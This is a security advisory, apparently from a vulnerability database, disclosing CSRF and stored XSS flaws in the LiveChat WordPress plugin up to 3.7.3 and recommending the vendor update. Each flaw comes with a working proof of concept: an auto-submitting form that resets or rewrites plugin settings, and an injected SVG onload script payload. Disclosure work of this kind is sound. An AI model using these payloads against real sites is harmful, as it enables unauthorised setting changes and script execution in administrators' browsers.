Multiple vulnerabilities in LiveChat plugin for WordPress



| Updated: 2019-07-18
Risk Low
Patch available YES
Number of vulnerabilities 2
CVE-ID N/A
CWE-ID CWE-352
CWE-79
Exploitation vector Network
Public exploit Public exploit code for vulnerability #1 is available.
Public exploit code for vulnerability #2 is available.
Vulnerable software
LiveChat - WP live chat plugin for WordPress
Web applications / Modules and components for CMS

Vendor WP-LiveChat

Security Bulletin

This security bulletin contains information about 2 vulnerabilities.

1) Cross-site request forgery

EUVDB-ID: #VU19206

Risk: Low

CVSSv4.0: 2 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/U:Clear]

CVE-ID: N/A

CWE-ID: CWE-352 - Cross-Site Request Forgery (CSRF)

Exploit availability: No

Description

The vulnerability allows a remote attacker to perform cross-site request forgery attacks.

The vulnerability exists due the lack of proper CSRF and Authorisation checks. A remote attacker can trick the victim to visit a specially crafted web page and update or reset the plugin's setting.

PoC:

Option Reset: 
https://[host]/wp-admin/admin-ajax.php?reset=1&page=livechat_settings

Option Update:
<html> <body onload="document.forms[0].submit()"> <form action="https://<BLOG>/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="licenseNumber" value="42"/> <input type="hidden" name="licenseEmail" value="whatever"/> </form> </body> </html>

Mitigation

Install updates from vendor's website.

Vulnerable software versions

LiveChat - WP live chat plugin for WordPress: 1.0.0 - 3.7.3

CPE2.3 External links

https://plugins.trac.wordpress.org/changeset?reponame=&new=2113080%40wp-live-chat-software-f...
https://www.pluginvulnerabilities.com/2019/06/19/wordpress-plugins-are-so-insecure-you-can-claim-the...


Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.

2) Stored cross-site scripting

EUVDB-ID: #VU19207

Risk: Low

CVSSv4.0: 2 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P/U:Clear]

CVE-ID: N/A

CWE-ID: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Exploit availability: No

Description

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data when updating the "livechat_email" option. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

PoC:

<body onload="document.forms[0].submit()">
    <form action="https://<BLOG>/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="licenseNumber" value="42"/>
      <input type="hidden" name="licenseEmail" value="><svg/onload=alert(/XSS/)>
    </form>
  </body>
</html>

Mitigation

Install updates from vendor's website.

Vulnerable software versions

LiveChat - WP live chat plugin for WordPress: 1.0.0 - 3.7.3

CPE2.3 External links

https://plugins.trac.wordpress.org/changeset?reponame=&new=2113080%40wp-live-chat-software-f...
https://www.pluginvulnerabilities.com/2019/06/19/wordpress-plugins-are-so-insecure-you-can-claim-the...


Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.



###SIDEBAR###